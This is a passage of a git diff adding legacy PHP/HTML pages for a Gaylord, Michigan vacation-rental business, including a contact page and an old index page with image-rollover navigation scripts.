+<BODY link="#000000" vlink="#000000" background="http://www.pineconevacations.com/images/woodbackground3.jpg" nowrap>
+
+<DIV align="center">
+  <CENTER>
+  <TABLE border="0" cellspacing="1" width="1052">
+    <TR>
+      <TD width="97%">
+      <div align="center">
+               <table border="0" width="96%">
+                       <tr>
+                               <td>
+                               <table border="0" width="96%" cellspacing="1">
+                                       <tr>
+                                               <td>
+                                               <p align="center">
+                                               <font face="Arial" size="1" color="#EEDFCE">
+                                                                       <a href="http://www.pineconevacations.com/index.html">HOME&nbsp;</a>&nbsp;&nbsp; 
+                                               .&nbsp;&nbsp;&nbsp; 
+                                               <a target="_blank" href="http://www.weatherforyou.com/">WEATHER</a>&nbsp;&nbsp; .&nbsp;&nbsp;&nbsp; 
+                                               <a href="http://www.pineconevacations.com/directions.htm"><font color="#EEDFCE">
+                                               <a href="http://www.pineconevacations.com/directions.htm">
+                                               <span style="font-weight: 400">DIRECTIONS</span></a></font></a><a 
+href="http://www.pineconevacations.com/directions.htm">&nbsp;&nbsp;</a>&nbsp; .&nbsp;&nbsp;&nbsp;
+                                               <a href="http://www.pineconevacations.com/directions.htm"><font color="#EEDFCE">
+                                               <span style="font-weight: 400">
+                                               <a href="http://contact.pineconevacations.com/">CONTACT 
+                                               US</a></span></font></a>&nbsp; &nbsp;&nbsp; .&nbsp;&nbsp;&nbsp;&nbsp; 
+                                               866-731-1887</font><font face="Arial" size="1" color="#EEDFCE"><br>
+&nbsp;</font></td>
+                                       </tr>
+                               </table>
+                               <div align="center">
+                               <table border="0" cellspacing="1" width="94%" id="table6">
+<tr>
+                                       <td align="center" width="27%">
+                                       <font face="Arial" color="#FFFFFF">                                                     
+                                                               <b>
+                                                               <a onMouseover="dropdownmenu(this, event, menu4, '160px')" onMouseout="delayhidemenu()" 
+href="http://www.pineconevacations.com/pineconeinn/index.html">
+                                                               <font face="Arial" color="#FFFFFF" style="font-size: 16pt">
+                                                               Pine Cone Inn &amp; Suites</font></a></b></font><td align="center" width="23%">
+                                                               <font face="Arial" color="#FFFFFF">                                                     
+                                                               <b>
+                                                               <a onMouseover="dropdownmenu(this, event, menu1, '160px')" onMouseout="delayhidemenu()" 
+href="http://www.pineconevacations.com/vacationrentals.htm">
+                                                               <font face="Arial" color="#FFFFFF" style="font-size: 16pt">
+                                                               Vacation Rentals</font></a></b><font face="Arial" color="#FFFFFF" style="font-size: 16pt"><b> </b></font>
+                                                               </font>
+                                                               <font face="Arial" color="#FFFFFF" style="font-size: 16pt">                                                     
+                                                               </b>
+                                                               </font>
+                                                       </td>
+                                       <td align="center" width="16%">
+                                                               <font face="Arial" color="#FFFFFF">                                                     <b>
+                                                       <a onMouseover="dropdownmenu(this, event, menu2, '160px')" onMouseout="delayhidemenu()" 
+href="http://www.pineconevacations.com/golf.htm">
+                                                       <font face="Arial" color="#FFFFFF" style="font-size: 16pt">Stay &amp; 
+                                                       Play</font></a></b><font face="Arial" color="#FFFFFF" style="font-size: 16pt"><b> </b></font>
+                                                               </font>
+                                                               <font face="Arial" color="#FFFFFF" style="font-size: 16pt">                                                     
+                                                               </b>
+                                                               </font>
+                                                       </td>
+                                       <td align="center" width="12%">
+                                       <b><a href="rentalrates.htm">
+                                       <font face="Arial" color="#FFFFFF" style="font-size: 16pt">Rates</font></a></b></td>
+                                       <td align="center" width="16%">
+                                       <font face="Arial" color="#FFFFFF">                                                     
+                                       <b>
+                                                       <a onMouseover="dropdownmenu(this, event, menu3, '160px')" onMouseout="delayhidemenu()" href="aboutus.html">
+                                                       <font face="Arial" color="#FFFFFF" style="font-size: 16pt">About Us</font></a></b></font></td>
+                               </tr>
+</td>
+                                               </tr>
+                                       </table>
+                               </div>
+                               <div align="center">
+                                       <table border="0" width="94%">
+                                               <tr>
+                                                       <td bgcolor="#000000">
+                                                       <div align="center">
+&nbsp;<table border="0" width="97%">
+                                                                       <tr>
+                                                                               <td bgcolor="#EEDFCE">
+                                                                               <div align="center">
+                                                                                       <table border="0" width="99%" cellspacing="4" cellpadding="4">
+                                                                                               <tr>
+                                                                                                       <td>
+                                                                                                       <table border="0" width="100%">
+                                                                                                               <tr>
+                                                                                                                       <td width="100%" valign="top">
+                                                                                                                       <DIV ALIGN="center">
+        <TABLE BORDER="0" CELLSPACING="1" WIDTH="99%">
+          <TR>
+                <TD WIDTH="100%">
+                  <div align="center">
+                    <table border="0" width="100%" cellspacing="0" cellpadding="0">
+                                               <tr>
+                                                       <td valign="top"><b><font face="Arial" size="5">
+      <?php
+    if ($glmPage == 'golf') {
+        echo '<style>
+            #nav-table {display:none;}
+            </style>';
+        include_once 'letstalkgolf.html';
+    } else {
+            echo '<h2>Contact Us</h2>';
+                include_once "classes/class_contact_form.inc";
+                $contact = new contact_form();
+    }
+        ?>
+                                       
+                                                       </td>
+                                                       <td width="161" valign="top">
+                                                                                               <table border="0" width="91%">
+                                                                                                                               <tr>
+                                                                                                                                       <td>
+                                                                                               <font FACE="Arial" LANG="JA" SIZE="2">
+                                                                                                                       <b>
+                                               <img border="0" src="http://www.pineconevacations.com/images/logopine12-3.png" width="155" 
+height="165"></b></font></td>
+                                                                                                                               </tr>
+                                                                                                                               <tr>
+                                                                                                                                       <td>
+                                                                                                                                       <p align="center">
+                                                                                                                                       <a 
+href="http://www.pineconevacations.com/Snowmobiling.htm">
+                                                                                                                                       <img border="2" 
+src="http://www.pineconevacations.com/images/stayandplaywinter13.jpg" width="201" height="156"></a></p>
+                                                                                                                                       <p align="center">
+                                                                                                                                       &nbsp;</p>
+                                                                                                                                       <p align="center">
+                                                                                                                                       <a 
+href="http://www.pineconevacations.com/vacationrentals.htm">
+                                                                                                                                       <img border="0" 
+src="http://www.pineconevacations.com/images/vacationsrentals_sm.png" width="201" height="156"></a></p>
+                                                                                                                                       <p align="center">
+                                                                                                                                       &nbsp;<p align="center">
+                                                                                                                       &nbsp;</td>
+                                                                                                                               </tr>
+                                                                                                                               <tr>
+                                                                                                                                       <td><br>
+                                                                                                                                       &nbsp;<p align="center">
+                                                                                                                                       &nbsp;</td>
+                                                                                                                               </tr>
+                                                                                                                       </table>
+                                                                                                                       <p align="center">&nbsp;</td>
+                                               </tr>
+                                       </table>
+                       <table border="0" width="100%" cellspacing="0" cellpadding="0">
+                                               <tr>
+                                                       <td>
+                                                       <p align="center"><span style="font-family: Arial; color: #472311">
+                       <font size="2">Rates subject to change based on Lodging preference.</font></span></td>
+                                               </tr>
+                                       </table>
+                  </div>
+                  </TD>
+          </TR>
+        </TABLE>
+      </DIV>
+                                                                                                               </td>
+                                                                                                               </tr>
+                                                                                                       </table>
+                                                                                                       </td>
+                                                                                               </tr>
+                                                                                       </table>
+                                                                               </div>
+                                                                               </td>
+                                                                       </tr>
+                                                               </table>
+                                                               <table border="0" width="100%" cellspacing="0" cellpadding="0">
+                                                                       <tr>
+                                                                               <td>&nbsp;</td>
+                                                                       </tr>
+</table>
+                                                       </div>
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>
+                                                       <table border="0" width="100%" cellspacing="1">
+                                                               <tr>
+                                                                       <td>
+                                                                       <p align="center">
+                                               <font face="Arial" size="1" color="#EEDFCE">
+                                                                       <a href="http://www.pineconevacations.com/index.html">HOME&nbsp;</a>&nbsp;&nbsp; 
+                                               .&nbsp;&nbsp;&nbsp; 
+                                               <a target="_blank" href="http://www.weatherforyou.com/">WEATHER</a>&nbsp;&nbsp; 
+                                               .&nbsp;&nbsp;&nbsp;<a href="dining.htm">
+                                                                       DINING IN THE AREA&nbsp;&nbsp;</a>&nbsp; .&nbsp;&nbsp;&nbsp;<a 
+href="http://contact.pineconevacations.com/golf.php">GOLFING 
+                                                                       &quot;THE MECCA&quot;</a> &nbsp;&nbsp; .&nbsp;&nbsp;&nbsp;&nbsp; 
+                                               866-731-1887</font></td>
+                                                               </tr>
+                                                               <tr>
+                                                                       <td width="99%">
+                                                                       <div align="center">
+                                                                               <table border="0" width="33%">
+                                                                                       <tr>
+                                                                                               <td align="center">
+                                                                                               <p align="right">
+                                                                                               <a href="media.htm">
+                                                                                               <img border="0" src="http://www.pineconevacations.com/images/PCM.gif" width="34" 
+height="34"></a></td>
+                                                                                               <td align="center">
+                                                                       <a target="_blank" href="http://www.facebook.com/home.php#!/pages/Pine-cone-Accommodations/77142178209">
+                                                                       <img border="0" src="http://www.pineconevacations.com/images/facebook2.gif" width="34" 
+height="33"></a></td>
+                                                                                               <td align="center" width="56">
+                                                                                               <p align="center">
+                                                                                               <a target="_blank" href="https://twitter.com/PineConeAccom">
+                                                                                               <img border="0" src="http://www.pineconevacations.com/images/twitterlogo.gif" 
+width="34" height="34"></a></td>
+                                                                                               <td width="63" align="center">
+                                                                                               <a target="_blank" href="http://www.pinterest.com/pineconeaccomm/">
+                                                                                               <img border="0" src="http://www.pineconevacations.com/images/pintrestlogo.gif" 
+width="34" height="34"></a></td>
+                                                                                               <td width="40" align="center">
+                                                                       <a target="_blank" href="http://www.youtube.com/channel/UCNpRmE25u9pmG6P3KIVVCsw/videos?view=1">
+                                                                       <img border="0" src="http://www.pineconevacations.com/images/youtubeicon.gif" width="40" 
+height="40"></a></td>
+                                                                                       </tr>
+                                                                               </table>
+                                                                       </div>
+                                                                       </td>
+                                                               </tr>
+                                                       </table>
+                                                       </td>
+                                               </tr>
+                                       </table>
+                               </div>
+                               </td>
+                       </tr>
+               </table>
+               </div>
+               <p align="center"><font face="Arial"><FONT size="1">
+               <a href="mailto:rentals@pineconevacations.com">Copyright © 2013 Pine Cone Accommodations All rights reserved.&nbsp;For any questions or comments
+                                                       email us at
+       </a>
+       </FONT><font color="#472311" size="1"><b>
+       <a href="mailto:rentals@pineconevacations.com">Rentals@PineConeVacations.com</a></b></font></font></p>
+
+               </TD>
+    </TR>
+  </TABLE>
+  </CENTER>
+</DIV>
+<BODY LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0 background="http://www.pineconevacations.com/images/woodbackground3.jpg">
+
+       <div class="Section1">
+               <p class="MsoNormal">&nbsp;</div>
+
+</BODY>
+
+</HTML>
diff --git a/index_old.php b/index_old.php
new file mode 100755 (executable)
index 0000000..77ab420
--- /dev/null
@@ -0,0 +1,406 @@
+<?php
+include_once "setup.phtml";
+
+?>
+<HTML>
+<HEAD>
+<meta http-equiv="description" content="Michigan winter resorts and cabin rentals on snowmobile trail system, Gaylord, northern Michigan MI information. Michigan winter cabins, snowmobile, snowmobilings, Michigan MI open stay information where lake rental rent fishing hunting.">
+<META NAME="ROBOTS" content="ALL">
+<meta name="distribution" content="global">
+<meta name="revisit-after" content="7 days">
+<meta name="rating" content="general">
+<meta http-equiv="Cache-Control" content="no-cache">
+<meta http-equiv="Pragma" content="no-cache">
+<meta http-equiv="Content-Language" content="en-us">
+<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
+<TITLE>Pine Cone Accommodations - Vacation Rentals - Gaylord Michigan</TITLE>
+<SCRIPT language="JavaScript" src="http://www.pineconevacations.com/scripts/popup.js"></SCRIPT>
+<link rel="stylesheet" type="text/css" href="contactform.css">
+<style>
+A {color:#493715; text-decoration:none}
+A:hover {color:#11511A}
+A:active {color:#AB4511}
+div.Section1
+       {page:Section1;}
+</style>
+</HEAD>
+<!-- ImageReady Preload Script (oct09.psd) --> 
+<SCRIPT TYPE="text/javascript"> 
+<!--
+function newImage(arg) {
+       if (document.images) {
+               rslt = new Image();
+               rslt.src = arg;
+               return rslt;
+       }
+}
+function changeImages() {
+       if (document.images && (preloadFlag == true)) {
+               for (var i=0; i<changeImages.arguments.length; i+=2) {
+                       document[changeImages.arguments[i]].src = changeImages.arguments[i+1];
+               }
+       }
+}
+var preloadFlag = false;
+function preloadImages() {
+       if (document.images) {
+               oct09_01_oct09_Vacation_Rentals_______Lodging_copy_over = newImage("http://www.pineconevacations.com/images/oct09_01-oct09_Vacation-Ren.gif");
+               oct09_02_oct09_LetsTalkGolf_copy_over = newImage("http://www.pineconevacations.com/images/oct09_02-oct09_LetsTalkGolf.gif");
+               oct09_02_oct09_View_All_Rentals_over = newImage("http://www.pineconevacations.com/images/oct09_02-oct09_View-All-Ren.gif");
+               oct09_02_oct09_Area_Information_copy_over = newImage("http://www.pineconevacations.com/images/oct09_02-oct09_Area-Informa.gif");
+               oct09_02_oct09_Winter_Specials_over = newImage("http://www.pineconevacations.com/images/oct09_02-oct09_Winter-Speci.gif");
+               oct09_02_oct09_Golf___Lodging_Packages_____Ch_copy_over = newImage("http://www.pineconevacations.com/images/oct09_02-oct09_Golf-%26-Lodgi.gif");
+               oct09_02_oct09_Vacation_Rentals_______Lodging_copy_over = newImage("http://www.pineconevacations.com/images/oct09_02-oct09_Vacation-Ren.gif");
+               oct09_02_oct09_RentalRatesanddetails_copy_over = newImage("http://www.pineconevacations.com/images/oct09_02-oct09_RentalRatesa.gif");
+               oct09_Vacation_Rentals_______Lodging_copy_over = newImage("http://www.pineconevacations.com/images/oct09_Vacation-Rentals---13.gif");
+               oct09_06_oct09_LetsTalkGolf_copy_over = newImage("http://www.pineconevacations.com/images/oct09_06-oct09_LetsTalkGolf.gif");
+               oct09_06_oct09_View_All_Rentals_over = newImage("http://www.pineconevacations.com/images/oct09_06-oct09_View-All-Ren.gif");
+               oct09_06_oct09_Golf___Lodging_Packages_____Ch_copy_over = newImage("http://www.pineconevacations.com/images/oct09_06-oct09_Golf-%26-Lodgi.gif");
+               oct09_06_oct09_RentalRatesanddetails_copy_over = newImage("http://www.pineconevacations.com/images/oct09_06-oct09_RentalRatesa.gif");
+               oct09_LetsTalkGolf_copy_over = newImage("http://www.pineconevacations.com/images/oct09_LetsTalkGolf-copy-ove.gif");
+               oct09_19_oct09_Winter_Specials_over = newImage("http://www.pineconevacations.com/images/oct09_19-oct09_Winter-Speci.gif");
+               oct09_20_oct09_Winter_Specials_over = newImage("http://www.pineconevacations.com/images/oct09_20-oct09_Winter-Speci.gif");
+               oct09_24_oct09_Real_Estate_For_Sale_copy_over = newImage("http://www.pineconevacations.com/images/oct09_24-oct09_Real-Estate-.gif");
+               oct09_24_oct09_Home_Page_copy_over = newImage("http://www.pineconevacations.com/images/oct09_24-oct09_Home-Page-co.gif");
+               oct09_24_oct09_Contact_Us_copy_over = newImage("http://www.pineconevacations.com/images/oct09_24-oct09_Contact-Us-c.gif");
+               oct09_24_oct09_Map_Of_The_Area_copy_over = newImage("http://www.pineconevacations.com/images/oct09_24-oct09_Map-Of-The-A.gif");
+               oct09_24_oct09_How_To_Get_Here_copy_over = newImage("http://www.pineconevacations.com/images/oct09_24-oct09_How-To-Get-H.gif");
+               oct09_24_oct09_Area_Information_copy_over = newImage("http://www.pineconevacations.com/images/oct09_24-oct09_Area-Informa.gif");
+               oct09_Area_Information_copy_over = newImage("http://www.pineconevacations.com/images/oct09_Area-Information-c-49.gif");
+               oct09_27_oct09_How_To_Get_Here_copy_over = newImage("http://www.pineconevacations.com/images/oct09_27-oct09_How-To-Get-H.gif");
+               oct09_28_oct09_Real_Estate_For_Sale_copy_over = newImage("http://www.pineconevacations.com/images/oct09_28-oct09_Real-Estate-.gif");
+               oct09_28_oct09_Home_Page_copy_over = newImage("http://www.pineconevacations.com/images/oct09_28-oct09_Home-Page-co.gif");
+               oct09_28_oct09_Contact_Us_copy_over = newImage("http://www.pineconevacations.com/images/oct09_28-oct09_Contact-Us-c.gif");
+               oct09_28_oct09_Map_Of_The_Area_copy_over = newImage("http://www.pineconevacations.com/images/oct09_28-oct09_Map-Of-The-A.gif");
+               oct09_28_oct09_How_To_Get_Here_copy_over = newImage("http://www.pineconevacations.com/images/oct09_28-oct09_How-To-Get-H.gif");
+               oct09_How_To_Get_Here_copy_over = newImage("http://www.pineconevacations.com/images/oct09_How-To-Get-Here-copy-.gif");
+               oct09_32_oct09_Real_Estate_For_Sale_copy_over = newImage("http://www.pineconevacations.com/images/oct09_32-oct09_Real-Estate-.gif");
+               oct09_32_oct09_Contact_Us_copy_over = newImage("http://www.pineconevacations.com/images/oct09_32-oct09_Contact-Us-c.gif");
+               oct09_32_oct09_Map_Of_The_Area_copy_over = newImage("http://www.pineconevacations.com/images/oct09_32-oct09_Map-Of-The-A.gif");
+               oct09_Home_Page_copy_over = newImage("http://www.pineconevacations.com/images/oct09_Home-Page-copy-over.gif");
+               preloadFlag = true;
+       }
+}
+// --> 
+</SCRIPT> 
+<!-- End Preload Script --> 
+<BODY bgcolor="#E5D3C1" link="#000000" vlink="#000000">
+
+<DIV align="center">
+  <CENTER>
+  <TABLE border="0" cellspacing="1" width="800" background="http://www.pineconevacations.com/images/back2.jpg">
+    <TR>
+
+      <TD width="100%">
+      <div align="center">
+               <table border="0" cellspacing="1" width="100%" id="table1">
+                       <tr>
+                               <td>
+                               <p align="center">
+                               <img border="0" src="http://www.pineconevacations.com/images/vacation-rentals.gif" width="754" height="162" alt="Pine Cone Accommodations - Vacation Rentals in Gaylord Michigan Area"></td>
+                       </tr>
+                       <tr>
+
+                               <td>
+                               <P align="center"><font color="#472311" size="2"><b>693 Charles Brink, P.O. Box 544, Gaylord, 
+      Michigan 49734 ~
+      Phone: 989-731-1887 or Toll Free: 866-731-1887<br>
+      Email:
+      <a style="color: #472311; text-decoration: none" href="Rentals@PineConeVacations.com">
+      Rentals@PineConeVacations.com</a></b></font></td>
+                       </tr>
+               </table>
+               </div>
+
+               <div align="left">
+                       <table border="0" cellspacing="1" width="100%" id="table2">
+                               <tr>
+                                       <td width="197" valign="top">
+                                       <p align="center">&nbsp;<BODY BGCOLOR=#FFFFFF LEFTMARGIN=0 TOPMARGIN=0 MARGINWIDTH=0 MARGINHEIGHT=0 ONLOAD="preloadImages();">
+
+<!-- ImageReady Slices (oct09.psd) -->
+<TABLE WIDTH=180 BORDER=0 CELLPADDING=0 CELLSPACING=0 id="nav-table">
+       <TR>
+               <TD COLSPAN=16>
+                       <IMG NAME="oct09_01" SRC="http://www.pineconevacations.com/images/oct09_01.gif" WIDTH=180 HEIGHT=7 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=2 ROWSPAN=12>
+                       <IMG NAME="oct09_02" SRC="http://www.pineconevacations.com/images/oct09_02.gif" WIDTH=27 HEIGHT=221 ALT=""></TD>
+               <TD COLSPAN=10>
+                       <a ONMOUSEOVER="changeImages('oct09_01', 'http://www.pineconevacations.com/images/oct09_01-oct09_Vacation-Ren.gif', 
+'oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_Vacation-Ren.gif', 'oct09_Vacation_Rentals_______Lodging_copy', 
+'http://www.pineconevacations.com/images/oct09_Vacation-Rentals---13.gif'); return true;" ONMOUSEOUT="changeImages('oct09_01', 
+'http://www.pineconevacations.com/images/oct09_01.gif', 'oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_Vacation_Rentals_______Lodging_copy', 
+'http://www.pineconevacations.com/images/oct09_Vacation-Rentals-----.gif'); return true;" href="http://www.pineconevacations.com/vacationr.htm">
+                               <IMG NAME="oct09_Vacation_Rentals_______Lodging_copy" 
+SRC="http://www.pineconevacations.com/images/oct09_Vacation-Rentals-----.gif" WIDTH=112 HEIGHT=45 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=4 ROWSPAN=4>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_04.gif" WIDTH=41 HEIGHT=86 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=10>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_05.gif" WIDTH=112 HEIGHT=15 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=6>
+                       <IMG NAME="oct09_06" SRC="http://www.pineconevacations.com/images/oct09_06.gif" WIDTH=1 HEIGHT=111 ALT=""></TD>
+               <TD COLSPAN=6>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_View-All-Ren.gif', 'oct09_06', 
+'http://www.pineconevacations.com/images/oct09_06-oct09_View-All-Ren.gif'); return true;" ONMOUSEOUT="changeImages('oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_06', 'http://www.pineconevacations.com/images/oct09_06.gif'); return true;" href="http://www.pineconevacations.com/vacationrentals.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_View-All-Rentals.gif" WIDTH=98 HEIGHT=13 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=3 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_08.gif" WIDTH=13 HEIGHT=26 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=6>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_09.gif" WIDTH=98 HEIGHT=13 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=11>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_RentalRatesa.gif', 'oct09_06', 
+'http://www.pineconevacations.com/images/oct09_06-oct09_RentalRatesa.gif'); return true;" ONMOUSEOUT="changeImages('oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_06', 'http://www.pineconevacations.com/images/oct09_06.gif'); return true;" href="http://www.pineconevacations.com/rentalrates.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_RentalRatesanddetails.gif" WIDTH=135 HEIGHT=13 BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=2 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_11.gif" WIDTH=17 HEIGHT=26 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=11>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_12.gif" WIDTH=135 HEIGHT=13 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_13.gif" WIDTH=1 HEIGHT=59 ALT=""></TD>
+               <TD COLSPAN=11>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_Golf-%26-Lodgi.gif', 'oct09_06', 
+'http://www.pineconevacations.com/images/oct09_06-oct09_Golf-%26-Lodgi.gif'); return true;" ONMOUSEOUT="changeImages('oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_06', 'http://www.pineconevacations.com/images/oct09_06.gif'); return true;" href="http://www.pineconevacations.com/golf.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Golf-%26-Lodging-Packag.gif" WIDTH=141 HEIGHT=45 BORDER=0 ALT=""></a></TD>
+               <TD ROWSPAN=18>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_15.gif" WIDTH=10 HEIGHT=259 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=11>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_16.gif" WIDTH=141 HEIGHT=14 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=6>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_LetsTalkGolf.gif', 'oct09_06', 
+'http://www.pineconevacations.com/images/oct09_06-oct09_LetsTalkGolf.gif', 'oct09_LetsTalkGolf_copy', 'http://www.pineconevacations.com/images/oct09_LetsTalkGolf-copy-ove.gif'); 
+return true;" ONMOUSEOUT="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_06', 'http://www.pineconevacations.com/images/oct09_06.gif', 
+'oct09_LetsTalkGolf_copy', 'http://www.pineconevacations.com/images/oct09_LetsTalkGolf-copy.gif'); return true;" href="http://www.pineconevacations.com/letstalkgolf.htm">
+                               <IMG NAME="oct09_LetsTalkGolf_copy" SRC="http://www.pineconevacations.com/images/oct09_LetsTalkGolf-copy.gif" WIDTH=93 HEIGHT=15 BORDER=0 
+ALT=""></a></TD>
+               <TD COLSPAN=7 ROWSPAN=4>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_18.gif" WIDTH=53 HEIGHT=50 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=6>
+                       <IMG NAME="oct09_19" SRC="http://www.pineconevacations.com/images/oct09_19.gif" WIDTH=90 HEIGHT=12 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=2>
+                       <IMG NAME="oct09_20" SRC="http://www.pineconevacations.com/images/oct09_20.gif" WIDTH=1 HEIGHT=24 ALT=""></TD>
+               <TD COLSPAN=4>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_Winter-Speci.gif', 'oct09_19', 
+'http://www.pineconevacations.com/images/oct09_19-oct09_Winter-Speci.gif', 'oct09_20', 'http://www.pineconevacations.com/images/oct09_20-oct09_Winter-Speci.gif'); return true;" 
+ONMOUSEOUT="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_19', 'http://www.pineconevacations.com/images/oct09_19.gif', 'oct09_20', 
+'http://www.pineconevacations.com/images/oct09_20.gif'); return true;" href="http://www.pineconevacations.com/Snowmobiling.htm">
+                               <IMG SRC="http://www.pineconevacations.com/images/oct09_Winter-Specials.gif" WIDTH=88 HEIGHT=14 BORDER=0 ALT=""></a></TD>
+               <TD ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_22.gif" WIDTH=1 HEIGHT=24 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=4>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_23.gif" WIDTH=88 HEIGHT=10 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=12>
+                       <IMG NAME="oct09_24" SRC="http://www.pineconevacations.com/images/oct09_24.gif" WIDTH=26 HEIGHT=150 ALT=""></TD>
+               <TD COLSPAN=9>
+                       <a ONMOUSEOVER="changeImages('oct09_02', 'http://www.pineconevacations.com/images/oct09_02-oct09_Area-Informa.gif', 'oct09_24', 
+'http://www.pineconevacations.com/images/oct09_24-oct09_Area-Informa.gif', 'oct09_Area_Information_copy', 
+'http://www.pineconevacations.com/images/oct09_Area-Information-c-49.gif'); return true;" ONMOUSEOUT="changeImages('oct09_02', 
+'http://www.pineconevacations.com/images/oct09_02.gif', 'oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_Area_Information_copy', 
+'http://www.pineconevacations.com/images/oct09_Area-Information-copy.gif'); return true;" href="http://www.pineconevacations.com/areaofinformation.htm">
+                               <IMG NAME="oct09_Area_Information_copy" SRC="http://www.pineconevacations.com/images/oct09_Area-Information-copy.gif" WIDTH=101 HEIGHT=14 
+BORDER=0 ALT=""></a></TD>
+               <TD COLSPAN=5 ROWSPAN=2>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_26.gif" WIDTH=43 HEIGHT=25 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=9>
+                       <IMG NAME="oct09_27" SRC="http://www.pineconevacations.com/images/oct09_27.gif" WIDTH=101 HEIGHT=11 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=10>
+                       <IMG NAME="oct09_28" SRC="http://www.pineconevacations.com/images/oct09_28.gif" WIDTH=1 HEIGHT=125 ALT=""></TD>
+               <TD COLSPAN=9>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_How-To-Get-H.gif', 'oct09_27', 
+'http://www.pineconevacations.com/images/oct09_27-oct09_How-To-Get-H.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28-oct09_How-To-Get-H.gif', 
+'oct09_How_To_Get_Here_copy', 'http://www.pineconevacations.com/images/oct09_How-To-Get-Here-copy-.gif'); return true;" ONMOUSEOUT="changeImages('oct09_24', 
+'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_27', 'http://www.pineconevacations.com/images/oct09_27.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28.gif', 'oct09_How_To_Get_Here_copy', 'http://www.pineconevacations.com/images/oct09_How-To-Get-Here-copy.gif'); return true;" href="http://www.pineconevacations.com/directions.htm">
+                               <IMG NAME="oct09_How_To_Get_Here_copy" SRC="http://www.pineconevacations.com/images/oct09_How-To-Get-Here-copy.gif" WIDTH=101 HEIGHT=14 BORDER=0 
+ALT=""></a></TD>
+               <TD COLSPAN=4 ROWSPAN=6>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_30.gif" WIDTH=42 HEIGHT=75 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD COLSPAN=9>
+                       <IMG SRC="http://www.pineconevacations.com/images/oct09_31.gif" WIDTH=101 HEIGHT=12 ALT=""></TD>
+       </TR>
+       <TR>
+               <TD ROWSPAN=6>
+                       <IMG NAME="oct09_32" SRC="http://www.pineconevacations.com/images/oct09_32.gif" WIDTH=1 HEIGHT=75 ALT=""></TD>
+               <TD COLSPAN=8>
+                       <a ONMOUSEOVER="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24-oct09_Map-Of-The-A.gif', 'oct09_28', 
+'http://www.pineconevacations.com/images/oct09_28-oct09_Map-Of-The-A.gif', 'oct09_32', 'http://www.pineconevacations.com/images/oct09_32-oct09_Map-Of-The-A.gif'); return true;" 
+ONMOUSEOUT="changeImages('oct09_24', 'http://www.pineconevacations.com/images/oct09_24.gif', 'oct09_28', 'http://www.pineconevacations.com/images/oct09_28.gif', 'oct09_32', 
+'http://www.pineconevacations.com/images/oct09_32.gif'); return true;" href="http://www.pineconevacations.com/map.htm">
